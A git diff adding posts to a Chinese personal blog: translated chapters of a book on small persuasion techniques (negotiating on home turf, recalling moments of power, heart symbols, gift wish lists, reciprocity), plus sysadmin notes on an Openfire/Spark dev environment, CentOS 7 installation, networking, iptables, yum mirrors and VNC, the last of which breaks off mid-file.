+在上一章中，我们谈到了天花板的高度会对创意思考造成影响。但现在请你设想一下，你的下一次业务会议是为了创造商业结果，而不是酝酿创新想法。地点上的小小改变，比如把谈判设在你的办公室里，而不是在一个你不大熟悉的地方，会不会能让结果大为不同呢？ + +简单点说，有没有“主场优势”这回事？ + +要是你向体育迷提出这个问题，你会得到一个清清楚楚的回答：“当然有了。”一支球队在主场打比赛时，他们的支持者会普遍希望他们比客场时打得更好（面对同一个对手）。事实上，都没必要去问球迷的看法，明明白白的证据就摆在那儿。差不多每一种体育赛事都是这样，在其他条件相同的情况下，拥有“主场优势”的球队往往胜出次数更多。 + +行为科学家格雷厄姆·布郎（）和马库斯·贝尔想知道，这个绝大多数体育迷都知道的规律是否也适用于商界。他们招募了受试者，把他们每两人分成一组，进行模拟的商业谈判，其中一人充当采购员，另一人是供应商。为了重现真实生活，谈判的一大部分都集中在价格问题上，采购员希望把价格尽量压低，而供应商希望尽量卖得贵点儿。 + +研究人员用了一个聪明的办法来造成“主场”和“客场”。也就是说，谈判是发生在自己的地盘上，还是对方的地盘上。主场里的受试者可以把谈判环境变的个性化，比如写有自己名字的牌子贴在办公室外、选择座椅、在墙上张贴海报和明信片、把下一步行动细节写在白板上，然后保管这间办公室的钥匙。 + +当这些“主场选手”布置办公室的时候，“客场选手”被领到另一个地方，他们被告知，谈判将在对手的办公室里进行，对手们正在那儿执行一个跟谈判完全没关系的任务。一旦主场选手准备好了，“访客”就被带进去，谈判开始。 + +与体育界的主场优势现象一样，研究人员发现，身在主场的受试者在谈判中的表现都比对手强——无论他们扮演的是采购员还是供应商。这说明，一个看似很小的决定，比如在哪儿进行谈判，其对结果的影响程度可能远远超过你的预期。 + +可是，这到底是怎么回事？在体育场里，5万名球迷能够自己一支球队好好表现，更不用说影响裁判的决策了，可在谈判桌上，这些因素都不存在。其实，与前文里的“天花板研究”一致的是，发挥影响的是谈判环境的设置。与中立地点相比，在“自己家里”谈判会提升谈判者的信心，在“家门外”谈判则会削弱信心。 + +所以，下次谈判的时候，如果对手邀请你去他们那儿谈，那么较为合理的做法是，你提议对方做个小调整，换到某个中立的地点去谈。更好的是，请他们到你的办公室来，因为这不但会帮助你取得更好的结果，你的同事们也有机会像主场球迷一样，在听到你胜利的消息之后为你高声欢呼。 diff --git a/_posts/2016-12-19-152-the-small-big-28.md b/_posts/2016-12-19-152-the-small-big-28.md new file mode 100644 index 0000000..7f3383a --- /dev/null +++ b/_posts/2016-12-19-152-the-small-big-28.md @@ -0,0 +1,39 @@ +--- +layout: post +title: 28 如何让自己变得更强大 +pid: 152 +tags: [细节如何轻松影响他人] +--- +在前面的章节中我们提到，环境中的某些特性能对人的行为产生深远的影响。当房间的天花板比较高时，人们创造力就会提升，因为环境在不知不觉间激发了思维，让人的想法不那么受局限。如果大学生在上课前拿到的是热饮而不是冰饮料，他们对讲师的评分就会变高，因为热引发的温暖的印象。在自己的地盘上进行谈判的人，一般都会取得更满意的成果。 + +在上述所有例子中，这些针对环境的小调整都是放在由第三方做出的，他们非常清楚这些行为的显著效果，而受试者却不知道发生了什么。但是，如果你的目标不是影响他人的行为，而是改变自己呢？例如，想找工作的人应该对准备工作做出哪些小小的调整，好让自己表现得更好一点儿，增大自己获得梦想工作的机会呢？ + +行为科学家乔里斯·拉莫斯（）、戴维·杜波依斯（）、德里克·拉克（）和亚当·加林斯基认为，应聘者可以做一个非常简单的小改变：回忆一个让自己感到强大有力的时刻。为了验证这个想法，研究者们设计了一组实验。 + +在一个实验中，受试者被分成了应聘者和面试官两种角色。面试开始前，应聘者又被分成了两组，他们需要完成一个热身任务，目的是“帮助他们熟悉写自述的过程”。其中一半人拿到的题目是写一段让他们感到自己强大的有力的经历，而另一半人要写的是曾经让他们感到无助的经历。 + +经过适度的鼓励，体会过强大或无助的感受之后，受试者看到了一则刊登在全国性报纸上的招聘启事，岗位是销售分析师。研究人员请受试者假定自己拥有这份工作所需的教育背景和相关工作经验，针对这个岗位写一封求职信。写完之后，他们把要把求职信装进信封并封起来，交给研究助理。 + +随后，这些求职信被随机分到了面试官手中。需要提出的是，这些面试官完全不知道应聘者事先做的那个写作练习。工作人员带领面试官们仔细阅读了求职信，在这个过程中，他们对申请者形成印象，做出判断，然后说出雇佣这名应聘者的意愿程度。 + +分析结果时发现，比起那些描写有过无助经历的应聘者，写下强有力感受的应聘者得到工作的机会更大。这个结果清晰地表明，写下让自己感觉强大有力的经历，这么一个小小的举动就能让结果大为不同。 + +但反驳观点是，这个实验只是测量了书面申请受到的影响。找工作的时候不管写求职信写得多么天花乱坠，也不大可能只凭一封信就得到工作的机会。研究人员考虑到了这一点。由于找工作时一般要都要面试，他们设计能力的实验：受试者要参加一个15分钟的面试，来申请就读商学院。 + +第二次实验的设定跟第一次一模一样。两组申请人都要写一段让自己感到强大有力的经历，要么就写一段让自己感到无助的经历，而除此之外，研究人员添加了一个对照组，这些人不用写任何东西。 + +面试结束后，面试官评估这些申请人的说服力，然后做出录取决定。与第一次实验相一致的是，面试官认为写下强大经历的那种人更有说服力。与对照组相比，有力组的申请人给人留下了更有说服利的印象，而无助组的申请人表现的说服力较弱。正是说服力度的差异最终影响的总体结果，而且影响程度很大。 + +对照组中，不到一半的申请人被录取了。无助组中只有26%的人被录取了。而强有力组中，将近70%的人被录取了。 + +换种方式来衡量，与对照组相比，对过往积极经历的回忆把录取机会提升了81%，与无助组相比，这个数字更显著高达162%。 + +因此，当你要申请升职或签约新客户的时候，你可以把这个小小的改变应用起来；除了这个明显的建议之外，这些研究对招聘机构和工作中心也有重大启示：这些机构可以通过这种方法——鼓励应聘者回忆并写下曾让他们感觉到强大有力的时刻——来帮助应聘者提升面试表现。对于那些失业了一段时间的人来说，这一点大概尤其重要。需要注意的是，这个做法的时机很重要，应该让应聘者在面试就快开始的时候写，而不是提前几个小时，甚至几天。 + +有趣的是，心理学家达娜·卡尼（）、艾米·卡迪（）和安迪·亚普（）提出了另一个让人感到强大有力的方法：使用强势的身体语言。卡尼和同事们指出，有两种典型的身体语言会暗示出人的心理状态是弱还是强：舒展程度（身体占据的空间有多大）或开放程度（肢体状态倾向于开放还是封闭）。心态强大有力的人，体态会显得舒展开放，而软弱无助的人只会显得局促、封闭。 + +在这项研究中，工作人员告诉来到实验室的受试者，这项研究是为了测试放在身体不同位置的电极对生理状态的影响。实际上，这只是一个幌子，卡尼和同事们的真正意图是请受试者摆出各种姿势。研究人员发现，被要求摆出舒展、开放的身体姿态（比如身体朝桌子前倾，把手臂坚定有力的放在桌子上；或是坐在椅子上，双臂放在脑后，双脚放在桌面上）的受试者，比摆出局促、封闭状态（例如双臂交叉抱起，坐在椅子上，脚踝也要交叉合拢）的受试者感到更加自信、有力。 + +更引人兴趣的是，做出强有力姿态的受试者，体内的睾丸素（一种与控制有关的荷尔蒙）的浓度上升了，而皮质醇（一种你压力有关的荷尔蒙）的浓度下降。这项研究表明，如此微小的一个变化——你让身体呈现出怎样的姿势——就能产生如此巨大的差异，而且这不仅仅是心理上的，身体上也出现了反应。 + +这是不是意味着，卡尼、卡迪和亚普建议你在面试的时候，要把脚跷到面试官的桌面上？当然不是。但他们研究表明，如果你在电话面试中这么做，或是在面试开始前不久这样做一下，你就有可能会感到更加自信，而这份看似区别不大自信感觉很可能会帮你赢得梦想的工作的关键因素。 diff --git a/_posts/2016-12-19-153-openfire-spark-dev-env.md b/_posts/2016-12-19-153-openfire-spark-dev-env.md new file mode 100644 index 0000000..6cea627 --- /dev/null +++ b/_posts/2016-12-19-153-openfire-spark-dev-env.md @@ -0,0 +1,108 @@ +--- +layout: post +title: Openfire和Spark开发环境搭建 +pid: 153 +tags: [im] +--- +# Openfire开发环境搭建 + +在这个搭建过程中，重点是需要用到几个包和一个奇怪的错误，其他没有什么难点。 + +Jdk: 1.8.0_92 + +1. [Downloads](http://www.igniterealtime.org/downloads/source.jsp) +2. [openfire_src_4_0_4.zip](http://www.igniterealtime.org/downloads/download-landing.jsp?file=openfire/openfire_src_4_0_4.zip) +3. [openfire_src_4_0_4.tar.gz](http://www.igniterealtime.org/downloads/download-landing.jsp?file=openfire/openfire_src_4_0_4.tar.gz) + + + ## unzip openfire_src_4_0_4.zip to your eclipse workspace + 注意：不要修改openfire_src的名字 + + ## open eclipse,new project with name[openfire_src], and finish + 注意：这个地方openfire_src文件是绝对路径。 + + ## add below 4 files to "\openfire_src\build\lib" and "add to build path". + 1. coherence.jar + 2. coherence-work.jar + 3. tangosol.jar + 4. ant-1.8.1.jar + + +链接：[4 files](http://pan.baidu.com/s/1dFwt9Wt) 密码：526v + + + "add to build path": selected jars, right click, choose Build Path >> Add to Build Path. + + ## Setup Ant + 1. Window --> Show View --> Ant + 2. Add Buildfiles >> choose file \openfire_src\build\build.xml + + + ## Copy tools.jar + + from \jdk1.8.0_92\lib to \jre1.8.0_92\lib + + ## run ant + + ## add jars with beow path to "Add to Build Path" + + \openfire_src\target\openfire\lib\*.jar + + + ## remove the rest complied error project from your work space. + + + +## Setup starter + + 1. Run >> Run Configurations >> Java Application >> New >> Name: ServerStarter + 2. Main Tab + Project: openfire_src + Main class: org.jivesoftware.openfire.starter.ServerStarter + choose "Include system libraries when searching for a main class". + 3. Arguments Tab + VM arguments: -DopenfireHome="${workspace_loc:openfire_src}/target/openfire" + 4. Class Tab + Choose "User Entries" >> Advanced >> Add Folders + a. src/i18n + b. src/resources + c. + 5. Common Tab + Selected checkbox "Debug" and "Run". + + 6. Click apply, and run. + + + ## Open http://127.0.0.1:9090 + + username:admin + password:admin + + + +# Spark开发环境搭建 + + ## Setup starter + + 1. Run >> Run Configurations >> Java Application >> New >> Name: SparkStarter + 2. Main Tab + Main class: org.jivesoftware.launcher.Startup + Stop in main + 4. Class Tab + Choose "User Entries" >> Advanced >> Add Folders + a. /src/resources + + + +# 参考资料 + +1. [Openfire和Spark本地开发环境搭建记要](http://coffeelover.iteye.com/blog/1533174) +2. [openfire插件开发环境搭建](http://beautyofprogram.iteye.com/blog/772281) +3. [Openfire SVN + Eclipse 3.3 + Subversive Installation Guide](https://community.igniterealtime.org/docs/DOC-1020) +4. [Openfire Plugins Setup Guide For Eclipse](https://community.igniterealtime.org/docs/DOC-1200) +5. [openfire 搭建](http://wobuxiaole.iteye.com/blog/622294) +6. [技术笔记：XMPP之openfire+spark+smack](http://www.cnblogs.com/5207/p/5377510.html) +7. [Openfire开发配置,Openfire源代码配置,OpenFire二次开发配置](http://www.cnblogs.com/lixiaolun/archive/2013/12/07/3462780.html) +8. [Openfire+Spark源码开发环境搭建](https://my.oschina.net/fallenpanda/blog/192496) +9. [Openfire和Spark本地开发环境搭建记要](http://coffeelover.iteye.com/blog/1533174) +10. [利用Openfire+spark+Smack实现XMPP即时通信](http://www.tuicool.com/articles/fEFRBra) diff --git a/_posts/2016-12-20-154-the-small-big-29.md b/_posts/2016-12-20-154-the-small-big-29.md new file mode 100644 index 0000000..b635ed9 --- /dev/null +++ b/_posts/2016-12-20-154-the-small-big-29.md @@ -0,0 +1,25 @@ +--- +layout: post +title: 29 你所需的只是爱 +pid: 154 +tags: [细节如何轻松影响他人] +--- +1967年6月25日，全球共有大约4亿观众一起收看了世界上第一次通过卫星传送的现场直播电视节目——《我们的世界》（Our World）。两个半小时的时间里，将近20个国家的艺术家们在节目中露面，有歌剧演唱家、男童合唱团、放牛的牧场主，偶尔还穿插着一些教育性质的片段，比如对东京地铁系统和世界时钟的介绍。但是，深深铭刻在大多数观众记忆中，是节目末尾时的节目。 + +英国广播公司“表演一支让所有人都能理解的歌曲”之邀，甲壳虫乐队演唱的那首《你所需的只是爱》（All You Need Is Love）。鉴于当时越战正酣，有人猜测这首歌的作者约翰·列侬（John Lennon）想借这首颇为直白的歌曲，用艺术来宣传自己的思想。但是，不管这里头是否蕴含着隐藏的深意，极少数人会反对列侬的看法：爱有着联结和治愈的力量。 + +身为说服科学家的和实践者，我们也认为爱蕴含着影响的力量。不过，我们没打算建议你对着全世界高歌——听闻此言，你大概松了一口气吧。其实，我们打算尽力做的事情要小很多：只是在你的影响行为中添加一点象征爱意的线索就行了。 + +毋庸置疑，从创世伊始，爱的概念就对人类的生活产生着莫大的影响，而且也必将持续下去。所以，得知下面这个事实你可能会很惊讶：直到最近，也没有多少人去研究爱对说服的影响效果。 + +法国行为心理学家雅克·费希尔—卢库（）、卢博米尔·拉米（）、尼古拉斯·盖冈（）主持的一项实验。研究人员在一条购物街上拦住行人，请他们参与一项调查：回想人生中一幕满含爱意的场景，或是一首有意义的乐曲。行人完成调查继续往前走，几分钟之后，有个手拿地图的人会向他们问路。结果，那些被要求回想爱场景的人，明显愿意多花时间帮助别人找路。 + +另一项研究中，盖冈和拉米证明了，单是在捐款呼吁中加入“爱”这个词语，这么一个简单的举动就能大幅度提升善款数额。当研究人员把“捐助=帮助”的字样贴到标准募捐箱上之后，比起只贴募捐基本信息时，捐款数额上升了14%。可是，当研究人员把“帮助”二字换成了“爱”以后，也就是标牌上的字样换成了“捐助=爱”之后，捐款数额上升了90%以上。只需换一个词，小改变就带来了大影响。 + +餐馆的服务生也能从爱的强大说服力中获益。盖冈所做的一项实验中，服务生在结账的时候，把账单对折，用桌子上的一个盘子压住。然后他拿两颗糖放在盘子上，转身走开。盖冈的团队把这个实验做了上百次，观察结束后，他们会看到食客给的小费有什么变化。显然，有一组食客不仅更愿意给小费，给的数目还比别人多许多。那么，是什么让他们这么做的呢？ + +你大概以为，这跟盘子上那两颗糖有关系吧。或许糖纸是红色的，象征着跟爱有关，又或许糖块做成的心形的。可是，多给小费的行为跟糖完全无关，真正起作用的是压住账单的那个盘子。参加实验的食客完全不知道，盘子总共有3种形状：圆的、方的、心形的。拿到心形盘子的食客给的小费比圆盘组高出17%，比方形盘高出15%。 + +所以，这就是怎么回事？研究人员认为，象征爱的东西犹如一个提示线索，会让人们做出与爱相关的有关的行为。在餐馆实验中，象征物就是心形盘子，而食客做出的就是蕴含着帮助和给予意味的、给小费的行为。 + +如果这种爱的关联能够提高服务生拿到的小费——用心形盘子送账单，或是用更为简单的方式，在账单上画个心形，那或许慈善商店可以把店内出售的二手衣物的价签从圆形或方形换成心形的，募集资金的人应该在捐款网页上加上心形图案。你家孩子们在为下周的游泳比赛拉赞助时，或许可以在宣传单的顶端画上大大的红色爱心，没准就能筹到更多的钱了。 diff --git a/_posts/2016-12-22-155-the-small-big-30.md b/_posts/2016-12-22-155-the-small-big-30.md new file mode 100644 index 0000000..6d404dd --- /dev/null +++ b/_posts/2016-12-22-155-the-small-big-30.md @@ -0,0 +1,31 @@ +--- +layout: post +title: 30 完美礼物哪里找 +pid: 155 +tags: [细节如何轻松影响他人] +--- +如果你让别人去评价一下他们挑选礼物的水平如何，比如朋友的生日礼物，或是同事的退休礼物，大概绝大多数人都会说自己很擅长做这种事。然而，如果你问同一批人，他们的朋友、家人和同事送礼物的水平怎么样，那你多半能听到许多“惊悚”的礼物故事——他们收到过五花八门、各式各样的搞笑东西，从十分可疑的“手编”毛衣，到俗气的小摆设，或是通上电就能唱歌的鱼。事实上，如果人们真的能像自己以为的那样，是个选礼物高手的话，那么“你为啥给我买那玩意儿”（）和“蹩脚礼物集散地”（）这两个网站大概就要关门歇业了。 + +幸运的是，研究者们发现了一个非常简单的好办法，保证你送出的礼物换来的是兴奋的尖叫，而不会让人惊得倒吸一口冷气。 + +全美零售联合会（）于2008年做的一项调查显示，大约有50%的美国人希望每年至少能退还一件节日礼物，这清楚地表明，接受礼物的人并不像送礼物的人设想的那般珍惜这些东西，注意到这个颇为震惊的数据后，研究人员弗朗西斯卡·吉诺（）——出色的《分心》（Sidetracked）一书的作者——和弗兰克·弗林（）对这个问题产生了兴趣：对于礼物的品质和实用性，为什么送礼的人和收礼的人总是想不到一块儿去？他们还认为，这事有个简单的解决办法：想要送礼物的人在买东西之前应该先问问朋友、家人和同事，请他们把想要的东西列个单子，然后从这张清单上选一样送给他们。 + +这样做的顾虑之一，就是这可能意味着送礼物的人并不很了解对方，所以没法选中合意的礼物。更糟糕的含义是，送礼物的人并不愿意多花时间和精力去挑选合适的礼物。然而，吉诺和弗林猜想，如果拿到礼物的就是自己真心想要的，收到礼物的人其实会觉得送礼的人更加细心周到，善解人意。 + +在一项研究中，吉诺和弗林选取了一批已婚夫妇当作受试对象。他们请其中一半人回忆给别人送结婚礼物的场景，另一半人回想当初自己收到结婚礼物时的场景。此外，回忆“送礼”的那一组人中，一半人要回想一件按照对方的心愿单购买的礼物，另一半则要回想起一件没按照对方心愿单购买的礼物。 + +同样，回想“收礼”的那组人里，一半需要回想一件的确属于自己的心愿清单上的礼物，另一半人需要回想一件不在心愿单之列的礼物。 + +虽然受试者们回想的礼物在金钱价值上都差不多（平均在120美元左右），但在某些相当重要的方面，他们对礼物的感觉是很不一样。具体来说，对于送礼物的人来说，那样东西在不在对方的心愿单上，区别不大——他们都认为对方对它的喜好程度是差不多的。可是，对于那些回想收礼情景的人来说，比起礼物不在心愿单之列的，收到心愿单上的礼物的人对这件东西的喜爱和感激之情要大得多。 + +虽然老话说“选礼物，心意最重要”，可这项研究表明，最不需要花心思的礼物——只需简单地从对方开出的清单上选一样——其实最受欢迎。从某些方面来看，这并没那么令人吃惊。正准备结婚的小两口大概更愿意收到心愿单上的礼物，因为那张单子上多半列的都是新家庭里真正需要的东西——最好不要漏掉、也不要重复的东西。没有哪对新婚夫妇需要三个芝士盘的，除非他们住在威宁康星州，或者这俩人的名字刚好叫做“米奇”和“明妮”。 + +但是，如果送礼物的背景不一样呢？比如说，是生日礼物而不是结婚礼物？研究者们也考虑到了这一点，他们做了一批额外的研究，所有的结果都呈现出相同的模式：送礼物的人认为，不管这件礼物是不是收礼的人主动要的，他们的开心程度和对礼物的喜爱程度都不会受到影响。可实际上，当收礼的一方收到的是他们曾经说起的，想要的东西时，他们显然更开心，对它也更为喜爱。 + +在另一个实验中，吉诺和弗林随机挑选的受试者作为送礼人和收礼人，让他们两两随机结对。每个礼物的人需要在亚马逊网站上挑选十个价值20～30美元的礼物，选择结果会形成清单发送给送礼人。一半的送礼人需要从清单上挑选一个送出去，而另一半人不能参照清单，需要另外买一个送给对方。又一次，研究人员发现，那些被告知不能按照清单购买的人，跟按照清单购买的人同样自信——他们都认为收礼的人会喜欢收到的东西。可是，当研究人员分析收礼人的评价时，他们发现，收到清单上的礼物的人，明显更加喜欢那个东西。 + +对礼物的喜爱程度是一个重要的决定因素，这不但会影响收礼人日后的回报热情，也会影响他的开心程度。所以，这项研究对我们与他人的沟通有着重要的提示价值。它告诉我们，送礼物的时候，应该想办法摸清对方真正想要什么，不要自己瞎猜。这个小小的改变是个双赢的做法，人人都满意。一个办法是，给收礼物的人一踏即时贴。让他们把杂志上想要的东西标出来，作为以后的礼物备选。另一个方法是，看看随处放在家里的购物行名录上有哪些页面被折角做了标记。 + +在工作中也一样，例如，请客户吃饭的时候，应该带人家去那个他们提了好多次的新餐馆，而不是你最喜欢的那一家。无论怎样，从对方的清单上挑选（而不是从你的），这个小小的改变，能让对方的感激程度发生很大的变化。这个方法还会有以下好处：确保你送出去的礼物不会沦落到礼品处理网站上或是垃圾桶里——或许更糟糕的是，出现在明年你收到的那堆礼物中。 + +威斯康星州是美国的乳业基地，盛产之时。——译者注 diff --git a/_posts/2016-12-22-156-the-small-big-31.md b/_posts/2016-12-22-156-the-small-big-31.md new file mode 100644 index 0000000..feaa9c3 --- /dev/null +++ b/_posts/2016-12-22-156-the-small-big-31.md @@ -0,0 +1,28 @@ +--- +layout: post +title: 31 为互助留出余地 +pid: 156 +tags: [细节如何轻松影响他人] +--- +很久以前，科学研究就证实了慷慨的价值。赠与别人礼物、向他人伸出援手、为别人提供服务或帮助……做了这些事情之后，我们的人缘会变得更好，身体甚至会变得更加健康。何况，那些接受了好意的人们一般都会做出回报的准备。这一条益处来自于互惠原理（reciprocation），意思是，在收到恩惠后，人们愿意相同的方式来回报。 + +所有的人类社群都会把这个道理灌输给成员，而且是从娃娃抓起。原因很简单：倡导群体成员在至关重要的互动领域里——比如商业、防卫、医护——互惠互利，会为群体带来重大的竞争优势。放到职场中说，这条原则意味着，如果某位同事在某个项目中向你求助，而你伸出了援手，比如说花精力帮忙，给他们提供资源或特殊的信息，那么日后当你在某个重要项目你需要帮忙的时候，他们会很乐于出手相助。 + +既然当个“施予者”有这么多好处，人们很容易认为，在工作中多多给予必定会是通往成功的青云之路。不幸的是，人类的心理从不会这么简单。真实的情况是，好事情做过了头，也有可能会变成坏事，就连助人为乐也是如此。以组织心理学家弗兰克·弗林的研究为证，他分析了一家大型通讯公司的员工们助人的结果。他统计了员工们帮助同事的次数，以及两个值得关注的后果。第一个后果是帮助他人对于此人在组织内部社会地位的影响——换句话说，就是在同事们看来，这位帮助别人的人在公司中的价值有多大。如你所料，越是慷慨的拿出时间和精力来帮助同事的那些员工，在别人眼中的价值感越高。在职场中获得广为人知的社会地位，这可是个不小的功绩，也是慷慨的给予者能得到好人缘的明证。 + +但是，弗林统计的第二个后果——工作中的生产力——就没那么乐观了。个人生产力的8个指标（其中包括工业的的品质，也包里包括工作数量）显示，最乐于助人的那批员工的生产力明显比不上其他同事。为什么？因为他们总是忙着帮助别人干活，都没法把足够的心思放在自己的分内事上。 + +我们该从中吸取什么经验教训？如果在工作中做一个豪爽大方的给予者能够为我们赢得较高的社会地位，却同时也削弱我们做份内工作的生产能力，我们应该怎么做才好？弗林的另一项研究给出了确定的答案。这项研究发现了一个不起眼的指标，却能够同时增强助人者的社会地位和生产力。这个指标不是帮忙的次数，而是“互助”的次数。先是为对方提供有益的帮助，然后得到对方回报过来的有益帮助，这会把给予的良好效益放大到最大程度——不单他们自己受益，有份参与的每个人都能受益，因为给予者的地位提高了，生产力也提高了。请记住，这个结果与互惠原理是高度一致的，互惠原理对所有成功的群体来说都至关重要，因为它促进了互助互利的行为。 + +这些成果给了我们明确的启示。首先，我们应该大方地主动地在工作中帮助他人。要注意，最重要的一点就是你要第一个行动。第一个出手相助会激活互惠原理，并因此增加未来的互惠次数——对于职场中的共同成功，这个因素至关重要。 + +第二，要把你提供的帮助或有价值的信息做个定位，把日后对方可以全力回报你的可能性凸显出来。这就需要我们把平素的反应，也就是听到对方感谢我们时，我们所说的话，做个微小却重要的调整。这个调整能为你的未来合作和影响行为带来惊人的巨变。以下就是我们推荐的三种应答方式，用它们来回应对方对你的感谢： +1、“能帮上你的忙我很高兴，因为我知道，当一个人需要帮忙的时候，别人的一双援手是多么有价值。” +2、“不客气。同事之间理当如此。” +3、“没关系。因为我知道，如果需要帮助的是我，你也会这么做。” + +总结一下，想要从职场中的给予行动中得到最大的益处，关键的做法就是“为互助留出余地”，这需要两个很小却至关重要的步骤：率先提供帮助、信息或服务；一定要在回应对方时，明确地为你提供的帮助定位——这是一个自然的、平等的互惠行为，这样你就为日后的互助留出的机会。 + +这个研究也给了我们另一个重要启示。弗林指出，作为正式绩效评估的一部分，许多组织都要求管理人员在诸多方面对员工打分，其中一项指标就是员工对于助人的程度。弗林建议，管理人员不仅应该评估员工帮助别人的次数，也应该统计他们向同事们求助的频率。管理层应当把这两个指标解释给员工听，告诉大家为什么这两个行为都很重要。在组织上下倡导互助互利的行为，会对生产力最大化极有帮助。 + +身为作者，我们希望你能从这些“四两拨千斤”的方法中得到很多好处，工作也如是，生活中也是如是。如果你感到这一张尤其有用，请让我们这样回答：“……”（从上面三种回答里挑一个吧。） diff --git a/_posts/2016-12-22-157-udisk-centos7.md b/_posts/2016-12-22-157-udisk-centos7.md new file mode 100644 index 0000000..aff373f --- /dev/null +++ b/_posts/2016-12-22-157-udisk-centos7.md @@ -0,0 +1,29 @@ +--- +layout: post +title: U盘制作Centos7安装镜像 +pid: 157 +tags: [centos] +--- +# Preparation + 1. install UltraISO + 2. Download CentOS-7-x86_64-DVD.iso + 3. Prepare one Udisk(Size more than 4GB), and format first. + 4. one standalone computer + + +# Execution + + + 1. Open your image [CentOS-7-x86_64-DVD.iso]. + Path: 文件 >> 打开 >> choose your image. + 2. 写入硬盘镜像 + Path: 启动>>写入硬盘镜像>>配置[写入硬盘镜像] + + 硬盘驱动器：Your Udisk + 镜像文件：Your image [CentOS-7-x86_64-DVD.iso]. + 写入方式：USB-HDD+ v2 + 隐藏启动分区：无 + + Click button[写入]。 + + 3. Finish. diff --git a/_posts/2016-12-22-158-udisk-centos7-install.md b/_posts/2016-12-22-158-udisk-centos7-install.md new file mode 100644 index 0000000..47c18de --- /dev/null +++ b/_posts/2016-12-22-158-udisk-centos7-install.md @@ -0,0 +1,39 @@ +--- +layout: post +title: U盘安装Centos7 +pid: 158 +tags: [centos] +--- +# Preparation + + 1. 已经制作好的Centos7U盘镜像。 + 2. 一台独立的电脑。 + 3. 最好有一个良好的网络，顺便给电脑接入一根网线。 + + + +# Execution + + 1. 插入Centos7 U盘。 + 2. 重启电脑，按住F12,选择启动设备 + USB KEY: SanDisk Cruzer Blade 1.26 + 3. Choose Install CentOS 7 + 4. Choose language [中文] >> [简体中文（中国）] + 5. 软件 >>软件选择 + 基本环境： 开发及生成工作站 + 已选环境的附加选项：全部勾选 + 点击按钮[完成]。 + 6. 系统 >> 安装位置 + 选择本地硬盘，点击完成。 + 点击按钮[回收空间]。 + 回收磁盘空间，点击按钮[全部删除]。 + 点击按钮[回收空间]。 + 7. 点击按钮[开始安装]。 + 8. 设置root密码 + 9. 漫长的等待。。。。。。。 + 10. reboot your server + 11. key in '1', and press Enter. + 12. key in '2', and press Enter. + 13. key in 'c', and press Enter. + 14. System wake up now. + 15. Enjoy your trip. diff --git a/_posts/2016-12-22-159-centos7-network.md b/_posts/2016-12-22-159-centos7-network.md new file mode 100644 index 0000000..2f9da71 --- /dev/null +++ b/_posts/2016-12-22-159-centos7-network.md @@ -0,0 +1,40 @@ +--- +layout: post +title: Centos7中配置固定IP +pid: 159 +tags: [centos] +--- +如需要重启后，自动打开网络连接，需要配置ONBOOT=yes。 + + [root@localhost ~]# vim /etc/sysconfig/network-scripts/ifcfg-enp4s0 + + TYPE=Ethernet + ONBOOT=yes + BOOTPROTO=none + DEFROUTE=yes + IPV4_FAILURE_FATAL=no + IPV6INIT=no + IPV6_AUTOCONF=yes + IPV6_DEFROUTE=yes + IPV6_FAILURE_FATAL=no + NAME=enp4s0 + UUID=53d9056f-c7da-4599-a8be-f3f7bfd6f96a + DEVICE=enp4s0 + ONBOOT=no + DNS1=192.168.10.1 + DNS2=61.177.7.1 + IPV6_PEERDNS=yes + IPV6_PEERROUTES=yes + IPADDR=192.168.10.68 + PREFIX=24 + GATEWAY=192.168.10.1 + + + [root@localhost ~]# shutdown -r now + +# 其他 + + 动态获取IP这么设置 + #BOOTPROTO=dhcp + +最好的办法，是到图形界面下，手动设置IP地址，这样就不用记住那么多命令行命令了。。 diff --git a/_posts/2016-12-22-160-centos7-iptables.md b/_posts/2016-12-22-160-centos7-iptables.md new file mode 100644 index 0000000..57a16d7 --- /dev/null +++ b/_posts/2016-12-22-160-centos7-iptables.md @@ -0,0 +1,24 @@ +--- +layout: post +title: Centos7启用iptables实战 +pid: 160 +tags: [centos] +--- +# 关闭firewall： + + [root@localhost ~]# systemctl stop firewalld.service #停止firewall + [root@localhost ~]# systemctl disable firewalld.service #禁止firewall开机启动 + Removed symlink /etc/systemd/system/dbus-org.fedoraproject.FirewallD1.service. + Removed symlink /etc/systemd/system/basic.target.wants/firewalld.service. + + +# 安装iptables防火墙: + + [root@localhost ~]# yum install iptables-services #安装 + [root@localhost ~]# vim /etc/sysconfig/iptables #编辑防火墙配置文件 + [root@localhost ~]# systemctl restart iptables.service #最后重启防火墙使配置生效 + [root@localhost ~]# systemctl enable iptables.service #设置防火墙开机启动 + +# 参考资料: + +[CentOS 7.0，启用iptables防火墙](http://www.open-open.com/lib/view/open1411818940031.html) diff --git a/_posts/2016-12-22-161-centos7-yum.repos.md b/_posts/2016-12-22-161-centos7-yum.repos.md new file mode 100644 index 0000000..743642c --- /dev/null +++ b/_posts/2016-12-22-161-centos7-yum.repos.md @@ -0,0 +1,26 @@ +--- +layout: post +title: Centos配置国内源 +pid: 161 +tags: [centos] +--- +# 操作步骤: + + [root@localhost ~]# cd /etc/yum.repos.d/ + [root@localhost yum.repos.d]# mv CentOS-Base.repo CentOS-Base.repo.bak + [root@localhost yum.repos.d]# lsb_release -a + LSB Version: + Distributor ID: CentOS + Description: CentOS Linux release 7.2.1511 (Core) + Release: 7.2.1511 + Codename: Core + [root@localhost yum.repos.d]# wget http://mirrors.163.com/.help/CentOS7-Base-163.repo + [root@localhost yum.repos.d]# yum makecache + +# 其他 + + [hadoop@localhost yum.repos.d]$ sudo wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo + +# 参考资料: + +[Centos配置国内yum源](http://blog.chinaunix.net/uid-23683795-id-3477603.html) diff --git a/_posts/2016-12-22-162-centos7-vnc.md b/_posts/2016-12-22-162-centos7-vnc.md new file mode 100644 index 0000000..9f6f20d --- /dev/null +++ b/_posts/2016-12-22-162-centos7-vnc.md @@ -0,0 +1,77 @@ +--- +layout: post +title: Centos7配置VNC实战 +pid: 162 +tags: [centos] +--- +# 配置服务端 + + [root@localhost ~]# yum -y install tigervnc-server tigervnc + [root@localhost ~]# ll /lib/systemd/system/vncserver@.service + [root@localhost ~]# cp /lib/systemd/system/vncserver@.service /lib/systemd/system/vncserver@:1.service + [root@localhost ~]# vim /lib/systemd/system/vncserver@\:1.service + +Before + + [Unit] + Description=Remote desktop service (VNC) + After=syslog.target network.target + + [Service] + Type=forking //forking to simple + # Clean any existing files in /tmp/.X11-unix environment + ExecStartPre=/bin/sh -c '/usr/bin/vncserver -kill %i > /dev/null 2>&1 || :' //%i to :1 + ExecStart=/usr/sbin/runuser -l -c "/usr/bin/vncserver 